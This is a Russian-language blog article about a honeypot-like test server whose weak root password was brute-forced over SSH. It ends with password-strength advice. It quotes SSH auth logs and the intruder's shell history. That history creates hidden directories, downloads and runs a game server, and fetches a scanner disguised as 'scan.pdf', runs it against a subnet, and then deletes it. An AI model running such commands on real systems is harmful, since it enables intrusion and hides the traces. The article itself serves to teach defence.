Как создать игровой сервер с минимальными усилиями?

Несколько провокационное название выбрал, но оно отображает получившийся в итоге тестирования результат.

Изначально подразумевалась шуточная статья про то, как в результате взлома можно получить настроенный игровой сервер. Но после я задумался и решил расширить тему. Рассказать о том, какие пароли категорически использовать нельзя, а какие наиболее взломостойкие и в то же время легко запоминаемые.

Как быстро подобрать недостаточно надежный пароль, состоящий из букв и цифр? Как узнать надежность пароля?

qawsed123 - надежный ли это пароль? А пароль yfkbrgthtirbgth достаточно надежный?

Этот сервер предназначался для тестирования. Я проинсталлировал Debian Linux, установил пароль типа qazwsx123, открыл доступ только для ssh и http, и... благополучно забыл о сервере на несколько недель.

Когда пароль не подошел, я заподозрил неладное. Сервер получился своеобразной ловушкой (trap, honeypot), которую я использовал в качестве наглядного примера.

После сброса пароля с помощью vnc в первую очередь я проверил журнальные файлы, запущенные процессы и историю команд, вводимых с консоли. Как оказалось, к серверу был подобран пароль, и на нем развернуты некие сервисы. По логам авторизации видно, что понадобилось менее трех дней брутфорса, чтобы подобрать root-пароль.

Nov 10 04:09:32 honeypot sshd[2611]: Server listening on 0.0.0.0 port 22.
Nov 10 04:09:32 honeypot sshd[2611]: Server listening on :: port 22.
Nov 10 17:59:11 honeypot sshd[19958]: Failed password for root from 122.225.97.91 port 3061 ssh2
Nov 10 17:59:13 honeypot sshd[19958]: Failed password for root from 122.225.97.91 port 3061 ssh2
Nov 10 17:59:16 honeypot sshd[19958]: Failed password for root from 122.225.97.91 port 3061 ssh2
…
Nov 13 04:16:21 honeypot sshd[190435]: Accepted password for root from 87.52.18.35 port 55011 ssh2

Как же такое могло произойти? Вроде бы и пароль не короткий, помимо букв есть и символы. При подборах пароля, помимо проверки на словарные слова, проверяются еще и наиболее популярные пароли.

Так как же защититься от таких злоумышленников?

Первый вариант - использовать для создания и хранения паролей специализированные программы, к примеру LastPass или KeePass, они кроссплатформеные и умеют синхронизироваться через интернет. В таком случае достаточно сгенерировать и запомнить один пароль, чтобы получить доступ к остальным.

Второй вариант - придумать и запомнить очень сложный пароль и использовать его для всех учетных записей. Но менять его постоянно и регулярно на не менее сложный.

Третий вариант, на мой взгляд, самый простой и в то же время надежный и удобный для ввода с клавиатуры. О нем я узнал в книге Еви Немет “UNIX: Руководство системного администратора”, п.3.3. Это принцип “шокирующего абсурда”, предложенный Гради Уордом для выбора идентификационной фразы для PGP:

“Принцип "шокирующего абсурда "заключается в составлении короткой фразы (или предложения), которая лишена смысла и в то же время вызывает шок у пользователя в данной культурной среде. То есть она должна содержать совершенно неприличные или расистские высказывания либо состоять из абсолютно не стыкующихся между собой выражений. Применять такой подход не предосудительно, поскольку подразумевается, что пароль никогда не станет известен людям, чьи чувства могут быть им оскорблены. Маловероятно, чтобы подобный пароль был повторен кем-то еще, так как он уникален по своей сути. При этом он легко запоминается, потому что имеет яркую эмоциональную окраску. Сдержанный пример шокирующего абсурда выглядит так: "Моллюски отгрызли мои гарцующие гениталии".

Любой читатель без труда придумает гораздо более шокирующие фразы.

Для поиска и проверки паролей на безопасность можно воспользоваться специализированными программами. Об этом у нас есть статья в энциклопедии хостинга об аудите паролей на сервере.

Перейдем к тому, что произошло на сервере.

Через 12 часов после активации сервера первыми начали брут-форс атаку боты с китайских IP-адресов 122.225.97.x, но удача сопутствовала одинокому датчанину с адресом 87.52.18.35. После чего началось самое интересное. Привожу историю вводимых команд в консоли сервера со своими комментариями:

11  apt-get update && apt-get upgrade

произведено обновление системы

12  apt-get install screen

установка screen для запуска приложений в виртуальных консолях, которые остаются запущенными даже при отключении пользователя от терминала

13  passwd

теперь сменен пароль

14  cd /var/tmp ; mkdir " " ; cd " " ; wget www.<сайт>_redirecte_linux_hlds_dp.tar.gz ; tar xzvf csservers_redirecte_linux_hlds_dp.tar.gz  ; cd csservers_redirecte_linux_hlds_dp ; chmod +x * ; screen ; ./start

создана скрытая директория “ “ (пробел), в которую загружен и запущен игровой сервер CS

15  w

<…>

36  mkdir " " ; cd " " ; wget http://<сайт>.com/scan.pdf ; tar xzvf scan.pdf ; rm -rf scan.pdf ; cd scan ; chmod +x * ; screen

здесь, вероятно, попытка установить более серьезное приложение для прослушки паролей или брутфорса других серверов

37  ./start
38  apt-get install ia32-libs
43  mkdir " " ; cd " " ; wget http://www.<сайт>.com/scan.tgz ; tar xzvf scan.tgz ; rm -rf scan.tgz ; cd scan ; chmod +x *
44  ./a 94.23
54  rm scan.pdf

приложение запущено, а сам исполняемый файл удален для осложнения поиска источника.

Вот так я и получил бесплатный игровой сервер CS 1.6. Надеюсь, эта статья покажет вам всю серьезность последствий использования ненадежного пароля и уменьшит вероятность взлома почтового ящика или аккаунта на вашем сервере.

Автор статьи:

Сабынич Вадим

Аватар пользователя vadim s. sabinich
Вернуться